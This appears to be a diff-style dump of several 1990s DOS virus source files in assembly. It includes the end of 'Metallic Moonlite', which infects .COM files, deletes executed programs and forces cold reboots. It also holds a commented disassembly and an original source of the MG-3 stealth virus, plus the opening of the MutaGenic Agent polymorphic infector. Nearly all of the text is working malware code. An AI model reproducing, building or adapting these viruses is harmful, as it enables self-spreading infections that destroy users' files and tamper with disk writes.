||||||
|
mov ah,40h ; kick it
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov dx,word ptr [bp+file_date]
|
||||||
|
mov cx,word ptr [bp+file_time]
|
||||||
|
and cl,11100000b
|
||||||
|
or cl,00010101b
|
||||||
|
mov ax,5701h ; restore date and time
|
||||||
|
int 21h ; and mask seconds to show
|
||||||
|
; it's infected
|
||||||
|
mov ah,3eh ; close file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
lea dx,[bp+file_name]
|
||||||
|
sub cx,cx
|
||||||
|
mov cl,byte ptr [bp+file_attr]
|
||||||
|
mov ax,4301h ; restore the original attributes
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
jmp try_again ; try to find another file
|
||||||
|
|
||||||
|
bye_bye:
|
||||||
|
mov ah,2ah ; get date
|
||||||
|
int 21h
|
||||||
|
cmp dl,1 ; the first of any month?
|
||||||
|
je print_it ; if so, deletion time
|
||||||
|
jmp nofuckup ; else, quit
|
||||||
|
print_it:
|
||||||
|
mov ah,9h ; print note
|
||||||
|
lea dx,[bp+offset printfake] ; faked thing
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
jmp resident ; go resident
|
||||||
|
|
||||||
|
int_9_entry proc far
|
||||||
|
push ax
|
||||||
|
in al,60h
|
||||||
|
cmp al,delcode ; ctrl-alt-del?
|
||||||
|
je warmboot ; if so, boot
|
||||||
|
pop ax
|
||||||
|
jmp cs:Old_9 ; let them use the old one
|
||||||
|
warmboot:
|
||||||
|
db 0eah,00h,00h,0ffh,0ffh ; no warmboot, but a coldboot
|
||||||
|
iret ; i wonder if they will notice
|
||||||
|
int_9_entry endp ; thatone (?)
|
||||||
|
|
||||||
|
int_21h_entry proc far
|
||||||
|
cmp ax,4b00h ; are they running a file?
|
||||||
|
jne go_on ; if not, check other thang
|
||||||
|
mov ah,41h ; delete it
|
||||||
|
int 21h
|
||||||
|
go_on:
|
||||||
|
cmp ax,4B9Fh ; is another copy trying to go resident?
|
||||||
|
je loc_0111 ; if so, show that we're here already
|
||||||
|
jmp cs:Old_21 ; else, let them use old int21
|
||||||
|
loc_0111:
|
||||||
|
mov ax,1994h ; 1994, our TSR mark here
|
||||||
|
iret ; to show that one copy's already eating memory
|
||||||
|
int_21h_entry endp
|
||||||
|
en:
|
||||||
|
|
||||||
|
resident:
|
||||||
|
mov ax,3509h ; hook int9 (to read keyboard)
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov word ptr cs:Old_9,bx ; save the old one here
|
||||||
|
mov word ptr cs:Old_9+2,es
|
||||||
|
mov ax,2509h
|
||||||
|
mov dx,offset int_9_entry ; and use ours instead
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,3521h ; hook int21 too (for filedeletion)
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov word ptr cs:Old_21,bx ; save old int21 here
|
||||||
|
mov word ptr cs:Old_21+2,es
|
||||||
|
mov ax,2521h
|
||||||
|
mov dx,offset int_21h_entry ; and let ours be used instead
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov dx,offset en ; what to put resident
|
||||||
|
int 27h ; do it
|
||||||
|
|
||||||
|
nofuckup:
|
||||||
|
; mov ah,0fh ; remove the first ";"
|
||||||
|
; int 10h ; and a screen-clear
|
||||||
|
; mov ah,0 ; will occure every
|
||||||
|
; int 10h ; execution.
|
||||||
|
|
||||||
|
|
||||||
|
restore_it_all:
|
||||||
|
jmp restore_dir ; restore everything
|
||||||
|
|
||||||
|
restore_dir:
|
||||||
|
mov ah,1ah ; restore DTA
|
||||||
|
mov dx,80h ; right now
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,0100h ; set ax to start
|
||||||
|
push ax ; push it
|
||||||
|
retn ; back to original program
|
||||||
|
|
||||||
|
virusname db 'Metallic Moonlite' ; virus name
|
||||||
|
copyright db '(c) Metal Militia/Immortal Riot' ; virus author
|
||||||
|
greetings db 'Greetings to The Unforgiven/IR'
|
||||||
|
printfake db 'Bad command or filename$'
|
||||||
|
|
||||||
|
com_mask db '*.com',0 ; files to infect, .com(mand)
|
||||||
|
old_bytes db 0cdh,20h,90h ; old jmp saved here
|
||||||
|
new_bytes db 0e9h,00h,00h ; new jmp code here
|
||||||
|
delcode equ 53h ; ctrl-alt-del code(s)
|
||||||
|
|
||||||
|
heap:
|
||||||
|
old_9 dd 0 ; save's old int9 here
|
||||||
|
old_21 dd 0 ; save's old int21 aswell
|
||||||
|
new_dta db 21 dup(?) ; the new DTA
|
||||||
|
file_attr db ? ; files attributes
|
||||||
|
file_time dw ? ; files time
|
||||||
|
file_date dw ? ; files date
|
||||||
|
file_size dd ? ; files size
|
||||||
|
file_name db 13 dup(?) ; files name
|
||||||
|
old_attrs db 5 dup(?) ; files old attributes
|
||||||
|
heap_end: ; eov (end of virus)
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
@@ -0,0 +1,338 @@
|
|||||||
|
page ,132
|
||||||
|
;
|
||||||
|
; name: mg-3.vom
|
||||||
|
;
|
||||||
|
; program type: com/bin
|
||||||
|
;
|
||||||
|
; cpu type: 8086
|
||||||
|
;
|
||||||
|
; program loaded at 0000:01f8
|
||||||
|
;
|
||||||
|
; physical eof at 0000:03f5
|
||||||
|
;
|
||||||
|
; program entry point at 0000:01f8
|
||||||
|
;
|
||||||
|
fun segment
|
||||||
|
assume cs:fun,ds:fun,es:fun,ss:fun
|
||||||
|
;
|
||||||
|
; references before the start of code space
|
||||||
|
;
|
||||||
|
org 0006h
|
||||||
|
h_0006 label word
|
||||||
|
org 004ch
|
||||||
|
h_004c label word
|
||||||
|
org 004eh
|
||||||
|
h_004e label word
|
||||||
|
org 0090h
|
||||||
|
h_0090 label word
|
||||||
|
org 0092h
|
||||||
|
h_0092 label word
|
||||||
|
;
|
||||||
|
; data references to code space addresses
|
||||||
|
;
|
||||||
|
; org 0339h
|
||||||
|
;h_0339 label byte
|
||||||
|
;
|
||||||
|
; start of program
|
||||||
|
;
|
||||||
|
org 01f8h
|
||||||
|
h_01f8:
|
||||||
|
call h_0204 ;goto virus
|
||||||
|
nop
|
||||||
|
mov ax,4c00h
|
||||||
|
int 21h ;terminate program
|
||||||
|
;
|
||||||
|
h_0201 db 0ebh,02h,90h ;saved_prog_start
|
||||||
|
h_0204:
|
||||||
|
xchg ax,dx ;save ax
|
||||||
|
pop di ;get return address
|
||||||
|
dec di ;back by 2
|
||||||
|
dec di ;to CALL ofs
|
||||||
|
mov si,[di] ;get call ofs
|
||||||
|
dec di ;back 1 to start of program
|
||||||
|
add si,di ;call ofs plus prog start
|
||||||
|
;= saved_prog_start
|
||||||
|
push cs ;save cs
|
||||||
|
push di ;and di for program start
|
||||||
|
cld ;up!
|
||||||
|
movsw ;replace 1st word
|
||||||
|
movsb ;and 3rd byte of program
|
||||||
|
mov ax,4b04h ;fn = virus ID
|
||||||
|
int 21h ;call DOS
|
||||||
|
jae h_027f ;OK (installed), skip this
|
||||||
|
xor ax,ax ;get a 0
|
||||||
|
mov es,ax ;address INT seg
|
||||||
|
mov di,0204h ;es:di = new virus home
|
||||||
|
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
|
||||||
|
repz movsb ;copy virus to low mem
|
||||||
|
les di,[0006h] ;get seg:ofs of CPMtype doscall
|
||||||
|
mov al,0eah ;JMPF instruction
|
||||||
|
dec cx ;cx = 0FFFFh
|
||||||
|
repnz scasb ;find JMPF
|
||||||
|
les di,es:[di] ;get seg:ofs to DOS
|
||||||
|
sub di,-21h ;up to ??
|
||||||
|
jmp 0000h:0239h ;goto virus in low memory
|
||||||
|
h_0239:
|
||||||
|
push es ;DOS seg
|
||||||
|
pop ds ;to ds
|
||||||
|
mov si,[di-04h] ;get ptr to max_dos_fn
|
||||||
|
lodsb ;get that byte
|
||||||
|
cmp al,68h ;at least 68?
|
||||||
|
mov [di-03h],al ;set immediate compare value
|
||||||
|
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
|
||||||
|
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
|
||||||
|
push cs ;current segment
|
||||||
|
pop ds ;to ds
|
||||||
|
mov [03fch],di ;set INT FF ofs to DOS entry
|
||||||
|
mov [03feh],es ;and INT FF seg to DOS entry
|
||||||
|
;BUG: need to have INT FF point to the
|
||||||
|
; CMP AH,xx instruction they
|
||||||
|
; have set up!!!
|
||||||
|
mov byte ptr [h_0339],0ah ;set dosver_skip
|
||||||
|
jnae h_026e ;not DOS 3.3+, skip this
|
||||||
|
mov byte ptr [h_0339],00h ;reset dosver_skip
|
||||||
|
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
|
||||||
|
mov [h_07b6],cs ;and seg of saved INT 13 vector
|
||||||
|
;in IBMBIO.COM
|
||||||
|
;NOTE: How stable are these locations?!?!?!
|
||||||
|
h_026e:
|
||||||
|
mov al,0a9h ;TEST AX,xxxx instruction
|
||||||
|
h_0270:
|
||||||
|
repnz scasb ;find it
|
||||||
|
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
|
||||||
|
;NOTE: test for illegal flag values
|
||||||
|
jnz h_0270 ;no, try again
|
||||||
|
mov al,18h ;new immediate value: 0FF18h
|
||||||
|
;NOTE: remove "our" flag from illegal values
|
||||||
|
stosb ;modify test instr
|
||||||
|
push ss ;copy PSP seg
|
||||||
|
pop ds ;to ds
|
||||||
|
push ss ;and again
|
||||||
|
pop es ;to es
|
||||||
|
h_027f:
|
||||||
|
xchg ax,dx ;get original AX back
|
||||||
|
retf ;and execute infected program
|
||||||
|
;
|
||||||
|
; intfchere
|
||||||
|
;
|
||||||
|
h_0281:
|
||||||
|
push ax ;save regs
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
cmp ax,4b04h ;fn = virus ID?
|
||||||
|
jz h_02ad ;yes, cleanup and exit NC
|
||||||
|
xchg ax,cx ;save ax
|
||||||
|
mov ah,2fh ;fn = get DTA
|
||||||
|
int 0ffh ;call DOS
|
||||||
|
cmp ch,11h ;fn = FCB find first?
|
||||||
|
jz h_029b ;yes, stop here
|
||||||
|
cmp ch,12h ;fn = FCB find next?
|
||||||
|
jnz h_02b4 ;no, skip this
|
||||||
|
h_029b:
|
||||||
|
xchg ax,cx ;get fn back
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
push ax ;save return code
|
||||||
|
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
|
||||||
|
jz h_02ac ;not set, skip this
|
||||||
|
sub word ptr es:[bx+24h],offset h_03f5-h_0201
|
||||||
|
;update filesize to hide virus (01f4h)
|
||||||
|
h_02ac:
|
||||||
|
pop ax ;restore regs
|
||||||
|
h_02ad:
|
||||||
|
pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
add sp,+0ch ;cleanup stack
|
||||||
|
iret ;and return to caller
|
||||||
|
;BUG: Should preserve returned flags!
|
||||||
|
h_02b4:
|
||||||
|
mov ah,19h ;fn = get current disk
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
push ax ;save disk
|
||||||
|
cmp ch,36h ;fn = get disk free space?
|
||||||
|
jz h_02e9 ;yes, stop here
|
||||||
|
cmp ch,4eh ;fn = find first?
|
||||||
|
jz h_02e0 ;yes, stop here
|
||||||
|
cmp ch,4bh ;fn = load/execute?
|
||||||
|
jz h_02e0 ;yes, stop here
|
||||||
|
cmp ch,47h ;fn = get current dir?
|
||||||
|
jnz h_02d1 ;no, skip this
|
||||||
|
cmp al,02h ;drive >= C:?
|
||||||
|
jae h_02ee ;yes, stop here
|
||||||
|
h_02d1:
|
||||||
|
cmp ch,5bh ;fn = create new file?
|
||||||
|
jz h_02e0 ;yes, stop here
|
||||||
|
shr ch,1 ;fn / 2
|
||||||
|
cmp ch,1eh ;fn = 3C or 3D?
|
||||||
|
;create file or open file?
|
||||||
|
jz h_02e0 ;yes, stop here
|
||||||
|
jmp h_03bb ;else continue DOS call
|
||||||
|
h_02e0:
|
||||||
|
mov ax,121ah ;fn = get file's drive
|
||||||
|
xchg si,dx ;ds:si = filename
|
||||||
|
int 2fh ;multiplex interrupt
|
||||||
|
xchg ax,dx ;ax = old si, dx = drive
|
||||||
|
xchg ax,si ;old si to si
|
||||||
|
h_02e9:
|
||||||
|
mov ah,0eh ;fn = set current disk
|
||||||
|
dec dx ;drive A: = 0, B: = 2, etc
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
h_02ee:
|
||||||
|
push es ;save dta seg
|
||||||
|
push bx ;and dta ofs
|
||||||
|
sub sp,+2ch ;allocate locals
|
||||||
|
mov dx,sp ;get ptr to local DTA
|
||||||
|
push sp ;save ptr to local DTA
|
||||||
|
mov ah,1ah ;fn = set DTA
|
||||||
|
push ss ;stack segment
|
||||||
|
pop ds ;is DTA seg
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov bx,dx ;bx = ptr to DTA
|
||||||
|
push cs ;current segment
|
||||||
|
pop ds ;to ds
|
||||||
|
mov ah,4eh ;fn = find first matching file
|
||||||
|
mov dx,offset h_03e9 ;ds:dx = wildcard_com
|
||||||
|
mov cx,0003h ;attributes = HIDDEN, Read-Only
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
jnae h_0319 ;error, cleanup and exit
|
||||||
|
h_030c:
|
||||||
|
test byte ptr ss:[bx+15h],80h ;our attribute set?
|
||||||
|
jz h_031c ;no, continue
|
||||||
|
;BUG: If it will re-infect a file with the
|
||||||
|
; MG-2 attribute set, then the above
|
||||||
|
; size change mask will FAIL!
|
||||||
|
h_0313:
|
||||||
|
mov ah,4fh ;fn = find next matching file
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
jae h_030c ;OK, check out this file
|
||||||
|
h_0319:
|
||||||
|
jmp h_03b2 ;cleanup and exit
|
||||||
|
h_031c:
|
||||||
|
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
|
||||||
|
ja h_0313 ;yes, try next file
|
||||||
|
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
|
||||||
|
mov [0092h],cs ;and INT24HERE seg
|
||||||
|
;NOTE: The original values are NOT saved!
|
||||||
|
les ax,[004ch] ;get INT 13 vector
|
||||||
|
mov [h_03f7],ax ;save oldint13ofs
|
||||||
|
mov [h_03f9],es ;and oldint13seg
|
||||||
|
h_0339 equ $+1 ;dosver_skip
|
||||||
|
jmp short h_033a ;if not DOS 3.3+, skip this
|
||||||
|
h_033a:
|
||||||
|
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
|
||||||
|
mov [004eh],cs ;and new INT 13 seg, too
|
||||||
|
;
|
||||||
|
; dosver_skip comes here
|
||||||
|
;
|
||||||
|
push ss ;DTA seg
|
||||||
|
pop ds ;to ds
|
||||||
|
push word ptr [bx+16h] ;save file time
|
||||||
|
push word ptr [bx+18h] ;and file date
|
||||||
|
push word ptr [bx+15h] ;and file attributes
|
||||||
|
lea dx,[bx+1eh] ;ds:dx = name found in DTA
|
||||||
|
mov ax,4301h ;fn = set file attributes
|
||||||
|
pop cx ;get file attributes
|
||||||
|
and cx,00feh ;high byte, R/O bit off
|
||||||
|
or cl,0c0h ;set our attributes
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov ax,3d02h ;fn = open file for read/write
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
xchg ax,bx ;handle to bx
|
||||||
|
push cs ;current segment
|
||||||
|
pop ds ;to ds
|
||||||
|
mov ah,3fh ;fn = read file
|
||||||
|
mov cx,0003h ;size of saved_prog_start
|
||||||
|
mov dx,offset h_0201 ;ds:dx = saved_prog_start
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov ax,4202h ;fn = lseek to EOF+CX:DX
|
||||||
|
xor dx,dx ;cx:dx = 0
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov [h_03f5],ax ;save virus_call_ofs
|
||||||
|
mov ah,40h ;fn = write to file
|
||||||
|
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
|
||||||
|
mov dx,offset h_0201 ;ds:dx = this virus
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
jnae h_039c ;error, cleanup and quit
|
||||||
|
mov ax,4200h ;fn = lseek to BOF+CX:DX
|
||||||
|
xor dx,dx ;cx:dx = 0
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov ah,40h ;fn = write to file
|
||||||
|
mov cx,0003h ;size of virus_call
|
||||||
|
mov dx,offset h_03f4 ;ds:dx = virus_call
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
h_039c:
|
||||||
|
mov ax,5701h ;fn = set file time/date
|
||||||
|
pop dx ;restore file date
|
||||||
|
pop cx ;and file time
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov ah,3eh ;fn = close file
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
les ax,[h_03f7] ;get oldint13
|
||||||
|
mov [004ch],ax ;restore INT 13 ofs
|
||||||
|
mov [004eh],es ;and INT 13 seg
|
||||||
|
h_03b2:
|
||||||
|
add sp,+2eh ;clean stuff off stack
|
||||||
|
pop dx ;restore old DTA ofs
|
||||||
|
pop ds ;and old DTA seg
|
||||||
|
mov ah,1ah ;fn = set DTA
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
h_03bb:
|
||||||
|
pop dx ;get default drive back
|
||||||
|
mov ah,0eh ;fn = set current drive
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
pop es ;restore regs
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
iret ;continue INT 21
|
||||||
|
;
|
||||||
|
; int24here
|
||||||
|
;
|
||||||
|
h_03c7:
|
||||||
|
mov al,03h ;response = FAIL
|
||||||
|
iret ;and done
|
||||||
|
;
|
||||||
|
; int13here_2
|
||||||
|
;
|
||||||
|
h_03ca:
|
||||||
|
cmp ah,03h ;fn = write?
|
||||||
|
jnz h_03d6 ;no, skip this
|
||||||
|
inc byte ptr cs:[h_03ef] ;update ??
|
||||||
|
dec ah ;change function to read
|
||||||
|
h_03d6:
|
||||||
|
jmp dword ptr cs:[h_03f7] ;and continue INT 13
|
||||||
|
;
|
||||||
|
; int13here
|
||||||
|
;
|
||||||
|
h_03db:
|
||||||
|
shr byte ptr cs:[h_03ef],1 ;update ??
|
||||||
|
jae h_03e4 ;yes, skip this
|
||||||
|
inc ah ;change function
|
||||||
|
;i.e. read changes to write, etc!
|
||||||
|
h_03e4:
|
||||||
|
jmp dword ptr cs:[h_07b0] ;continue INT 13
|
||||||
|
;
|
||||||
|
h_03e9 db "* .COM" ;wildcard_com
|
||||||
|
h_03ef db 00h
|
||||||
|
;NOTE: location of following data CANNOT change!
|
||||||
|
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
|
||||||
|
h_03f4 db 0e8h ;virus_call
|
||||||
|
h_03f5 equ $
|
||||||
|
;
|
||||||
|
; references after the end of code space
|
||||||
|
;
|
||||||
|
org 03f5h
|
||||||
|
h_03f5 label word ;virus_call_ofs
|
||||||
|
org 03f7h
|
||||||
|
h_03f7 label word ;oldint13ofs
|
||||||
|
org 03f9h
|
||||||
|
h_03f9 label word ;oldint13seg
|
||||||
|
fun ends
|
||||||
|
end h_01f8
|
||||||
@@ -0,0 +1,300 @@
|
|||||||
|
; (C) Copyright VirusSoft Corp. Aug, 1990
|
||||||
|
|
||||||
|
ofs = 201h
|
||||||
|
len = offset end-ofs
|
||||||
|
|
||||||
|
start: call $+6
|
||||||
|
|
||||||
|
org ofs
|
||||||
|
|
||||||
|
first: dw 020cdh
|
||||||
|
db 0
|
||||||
|
|
||||||
|
xchg ax,dx
|
||||||
|
pop di
|
||||||
|
dec di
|
||||||
|
dec di
|
||||||
|
mov si,[di]
|
||||||
|
dec di
|
||||||
|
add si,di
|
||||||
|
cld
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
|
||||||
|
mov ax,4b04h
|
||||||
|
int 21h
|
||||||
|
jnc residnt
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov di,ofs+3
|
||||||
|
mov cx,len-3
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
les di,[6]
|
||||||
|
mov al,0eah
|
||||||
|
dec cx
|
||||||
|
repne scasb
|
||||||
|
les di,es:[di] ; Searching for the INT21 vector
|
||||||
|
sub di,-1ah-7
|
||||||
|
|
||||||
|
db 0eah
|
||||||
|
dw offset jump,0 ; jmp far 0000:jump
|
||||||
|
|
||||||
|
jump: push es
|
||||||
|
pop ds
|
||||||
|
mov si,[di+3-7] ;
|
||||||
|
lodsb ;
|
||||||
|
cmp al,68h ; compare DOS Ver
|
||||||
|
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||||
|
mov [di+2-7],0fc80h ;
|
||||||
|
mov [di-7],0fccdh ;
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov [1020],di ; int 0ffh
|
||||||
|
mov [1022],es
|
||||||
|
|
||||||
|
mov beg-1,byte ptr not3_3-beg
|
||||||
|
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||||
|
mov beg-1,byte ptr 0
|
||||||
|
mov [7b4h],offset pr7b4
|
||||||
|
mov [7b6h],cs ; 7b4
|
||||||
|
|
||||||
|
not3.3: mov al,0a9h ; Change attrib
|
||||||
|
cont: repne scasb
|
||||||
|
cmp es:[di],0ffd8h
|
||||||
|
jne cont
|
||||||
|
mov al,18h ; mov es:[di],byte ptr 98h
|
||||||
|
stosb ;
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop es
|
||||||
|
|
||||||
|
residnt: xchg ax,dx
|
||||||
|
push ds ; jmp start
|
||||||
|
mov dx,0100h ;
|
||||||
|
push dx ;
|
||||||
|
retf ; ret far
|
||||||
|
|
||||||
|
;--------Interrupt process--------;
|
||||||
|
|
||||||
|
i21pr: push ax
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
|
||||||
|
if4b04: cmp ax,4b04h
|
||||||
|
je rti
|
||||||
|
|
||||||
|
xchg ax,cx
|
||||||
|
mov ah,02fh
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
if11_12: cmp ch,11h
|
||||||
|
je yes
|
||||||
|
cmp ch,12h
|
||||||
|
jne inffn
|
||||||
|
yes: xchg ax,cx
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
test es:byte ptr [bx+19],0c0h
|
||||||
|
jz normal
|
||||||
|
sub es:[bx+36],len
|
||||||
|
normal: pop ax
|
||||||
|
rti: pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
add sp,12
|
||||||
|
iret
|
||||||
|
|
||||||
|
inffn: mov ah,19h
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
|
||||||
|
if36: cmp ch,36h ; -free bytes
|
||||||
|
je beg_36
|
||||||
|
if4b: cmp ch,4bh ; -exec
|
||||||
|
je beg_4b
|
||||||
|
if47: cmp ch,47h ; -directory info
|
||||||
|
jne if5b
|
||||||
|
cmp al,2
|
||||||
|
jae begin ; it's hard-disk
|
||||||
|
if5b: cmp ch,5bh ; -create new
|
||||||
|
je beg_4b
|
||||||
|
if3c_3d: shr ch,1 ; > -open & create
|
||||||
|
cmp ch,1eh ; -
|
||||||
|
je beg_4b
|
||||||
|
|
||||||
|
jmp rest
|
||||||
|
|
||||||
|
beg_4b: mov ax,121ah
|
||||||
|
xchg dx,si
|
||||||
|
int 2fh
|
||||||
|
xchg ax,dx
|
||||||
|
xchg ax,si
|
||||||
|
|
||||||
|
beg_36: mov ah,0eh ; change current drive
|
||||||
|
dec dx ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
begin:
|
||||||
|
push es ; save DTA address
|
||||||
|
push bx ;
|
||||||
|
sub sp,44
|
||||||
|
mov dx,sp ; change DTA
|
||||||
|
push sp
|
||||||
|
mov ah,1ah
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
int 0ffh
|
||||||
|
push ds
|
||||||
|
pop es
|
||||||
|
mov bx,dx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,04eh
|
||||||
|
mov dx,offset file
|
||||||
|
mov cx,3 ; r/o , hidden
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
jc lst
|
||||||
|
|
||||||
|
next: test es:[bx+21],byte ptr 80h
|
||||||
|
jz true
|
||||||
|
nxt: mov ah,4fh ; find next
|
||||||
|
int 0ffh
|
||||||
|
jnc next
|
||||||
|
lst: jmp last
|
||||||
|
|
||||||
|
true: cmp es:[bx+27],byte ptr 0fdh
|
||||||
|
ja nxt
|
||||||
|
mov [144],offset i24pr
|
||||||
|
mov [146],cs
|
||||||
|
|
||||||
|
push es
|
||||||
|
les di,[4ch] ; int 13h
|
||||||
|
mov i13adr,di
|
||||||
|
mov i13adr+2,es
|
||||||
|
jmp short $
|
||||||
|
beg: mov [4ch],offset i13pr
|
||||||
|
mov [4eh],cs
|
||||||
|
;
|
||||||
|
not3_3: pop ds
|
||||||
|
push [bx+22] ; time +
|
||||||
|
push [bx+24] ; date +
|
||||||
|
push [bx+21] ; attrib +
|
||||||
|
lea dx,[bx+30] ; ds : dx = offset file name
|
||||||
|
mov ax,4301h ; Change attrib !!!
|
||||||
|
pop cx
|
||||||
|
and cx,0feh ; clear r/o and CH
|
||||||
|
or cl,0c0h ; set Infect. attr
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,03d02h ; open
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
xchg ax,bx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,03fh
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset first
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,04202h ; move fp to EOF
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
mov word ptr cal_ofs+1,ax
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,len
|
||||||
|
mov dx,ofs
|
||||||
|
int 0ffh
|
||||||
|
jc not_inf
|
||||||
|
|
||||||
|
mov ax,04200h
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset cal_ofs
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
not_inf: mov ax,05701h
|
||||||
|
pop dx ; date
|
||||||
|
pop cx ; time
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,03eh ; close
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
les ax,dword ptr i13adr
|
||||||
|
mov [4ch],ax ; int 13h
|
||||||
|
mov [4eh],es
|
||||||
|
|
||||||
|
last: add sp,46
|
||||||
|
pop dx
|
||||||
|
pop ds ; restore DTA
|
||||||
|
mov ah,1ah
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
rest: pop dx ; restore current drive
|
||||||
|
mov ah,0eh ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
i21cl: iret ; Return from INT FC
|
||||||
|
|
||||||
|
i24pr: mov al,3 ; Critical errors
|
||||||
|
iret
|
||||||
|
|
||||||
|
i13pr: cmp ah,3
|
||||||
|
jne no
|
||||||
|
inc byte ptr cs:activ
|
||||||
|
dec ah
|
||||||
|
no: jmp dword ptr cs:i13adr
|
||||||
|
|
||||||
|
pr7b4: db 2eh,0d0h,2eh
|
||||||
|
dw offset activ
|
||||||
|
; shr cs:activ,1
|
||||||
|
jnc ex7b0
|
||||||
|
inc ah
|
||||||
|
ex7b0: jmp dword ptr cs:[7b0h]
|
||||||
|
|
||||||
|
;--------
|
||||||
|
|
||||||
|
file: db "*.COM"
|
||||||
|
|
||||||
|
activ: db 0
|
||||||
|
|
||||||
|
dw offset i21pr ; int 0fch
|
||||||
|
dw 0
|
||||||
|
|
||||||
|
cal_ofs: db 0e8h
|
||||||
|
|
||||||
|
end:
|
||||||
|
dw ? ; cal_ofs
|
||||||
|
|
||||||
|
i13adr: dw ?
|
||||||
|
dw ?
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,206 @@
|
|||||||
|
; ========================================================================>
|
||||||
|
; MutaGenic Agent ][ - MutaGen V1.3 Test Virus
|
||||||
|
; by MnemoniX 1994
|
||||||
|
;
|
||||||
|
; A simple resident .COM infector implementing MutaGen.
|
||||||
|
; To assemble:
|
||||||
|
; TASM mg2
|
||||||
|
; TLINK /t mg2 mutagen
|
||||||
|
; ========================================================================>
|
||||||
|
|
||||||
|
ID equ 'MG'
|
||||||
|
|
||||||
|
PING equ 0BADh ; a seldom used DOS function
|
||||||
|
PONG equ 0DEADh ; residency response
|
||||||
|
|
||||||
|
MUTAGEN_SIZE equ 1652 ; version 1.3
|
||||||
|
|
||||||
|
extrn _MUTAGEN:near
|
||||||
|
|
||||||
|
code segment byte public 'code'
|
||||||
|
org 100h
|
||||||
|
assume cs:code,ds:code,es:code,ss:code
|
||||||
|
|
||||||
|
start:
|
||||||
|
jmp virus_begin ; fake host program
|
||||||
|
